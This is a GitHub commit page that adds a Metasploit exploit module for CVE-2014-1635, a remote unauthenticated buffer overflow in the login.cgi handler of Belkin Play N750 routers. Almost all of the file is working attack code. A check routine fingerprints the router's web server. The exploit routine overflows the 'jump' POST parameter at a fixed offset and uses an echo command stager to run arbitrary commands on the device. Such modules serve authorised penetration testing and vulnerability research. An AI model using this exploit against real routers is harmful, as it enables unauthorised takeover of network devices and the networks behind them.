Skip to content

Commit 2d1adf6

Browse files
committed
Land rapid7#4923, @m-1-k-3's exploit for overflow on belkin routers
2 parents 9f176ca + ee74bb3 commit 2d1adf6

File tree

1 file changed

+116
-0
lines changed

1 file changed

+116
-0
lines changed
Lines changed: 116 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,116 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Exploit::Remote
9+
Rank = NormalRanking
10+
11+
include Msf::Exploit::Remote::HttpClient
12+
include Msf::Exploit::CmdStager
13+
14+
def initialize(info = {})
15+
super(update_info(info,
16+
'Name' => 'Belkin Play N750 login.cgi Buffer Overflow',
17+
'Description' => %q{
18+
This module exploits a remote buffer overflow vulnerability on Belkin Play N750 DB
19+
Wireless Dual-Band N+ Router N750 routers. The vulnerability exists in the handling
20+
of HTTP queries with long 'jump' parameters addressed to the /login.cgi URL, allowing
21+
remote unauthenticated attackers to execute arbitrary code. This module was tested in
22+
an emulated environment, using the version 1.10.16.m of the firmwarey.
23+
},
24+
'Author' =>
25+
[
26+
'Marco Vaz <mv[at]integrity.pt>', # Vulnerability discovery and msf module (telnetd)
27+
'Michael Messner <devnull[at]s3cur1ty.de>', # msf module with echo stager
28+
],
29+
'License' => MSF_LICENSE,
30+
'Platform' => ['linux'],
31+
'Arch' => ARCH_MIPSLE,
32+
'References' =>
33+
[
34+
['CVE', '2014-1635'],
35+
['EDB', '35184'],
36+
['BID', '70977'],
37+
['OSVDB', '114345'],
38+
['URL', 'https://labs.integrity.pt/articles/from-0-day-to-exploit-buffer-overflow-in-belkin-n750-cve-2014-1635/'],
39+
['URL', 'http://www.belkin.com/us/support-article?articleNum=4831']
40+
],
41+
'Targets' =>
42+
[
43+
[ 'Belkin Play N750 DB Wireless Dual-Band N+ Router, F9K1103, firmware 1.10.16.m',
44+
{
45+
'Offset' => 1379,
46+
}
47+
]
48+
],
49+
'DefaultOptions' =>
50+
{
51+
'RPORT' => 8080
52+
},
53+
'DisclosureDate' => 'May 09 2014',
54+
'DefaultTarget' => 0))
55+
deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR')
56+
end
57+
58+
def check
59+
begin
60+
res = send_request_cgi({
61+
'method' => 'GET',
62+
'uri' => '/'
63+
})
64+
65+
if res &&
66+
[200, 301, 302].include?(res.code) &&
67+
res.headers['Server'] &&
68+
res.headers['Server'] =~ /minhttpd/ &&
69+
res.body =~ /u_errpaswd/
70+
71+
return Exploit::CheckCode::Detected
72+
end
73+
rescue ::Rex::ConnectionError
74+
return Exploit::CheckCode::Unknown
75+
end
76+
77+
Exploit::CheckCode::Unknown
78+
end
79+
80+
def exploit
81+
print_status("#{peer} - Accessing the vulnerable URL...")
82+
83+
unless check == Exploit::CheckCode::Detected
84+
fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable URL")
85+
end
86+
87+
print_status("#{peer} - Exploiting...")
88+
execute_cmdstager(
89+
:flavor => :echo,
90+
:linemax => 200
91+
)
92+
end
93+
94+
def prepare_shellcode(cmd)
95+
shellcode = rand_text_alpha_upper(target['Offset'])
96+
shellcode << 'e' << cmd
97+
shellcode << "\n\n"
98+
end
99+
100+
def execute_command(cmd, opts)
101+
shellcode = prepare_shellcode(cmd)
102+
begin
103+
res = send_request_cgi({
104+
'method' => 'POST',
105+
'uri' => '/login.cgi',
106+
'vars_post' => {
107+
'GO' => '',
108+
'jump' => shellcode,
109+
}
110+
})
111+
return res
112+
rescue ::Rex::ConnectionError
113+
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
114+
end
115+
end
116+
end

0 commit comments

Comments
 (0)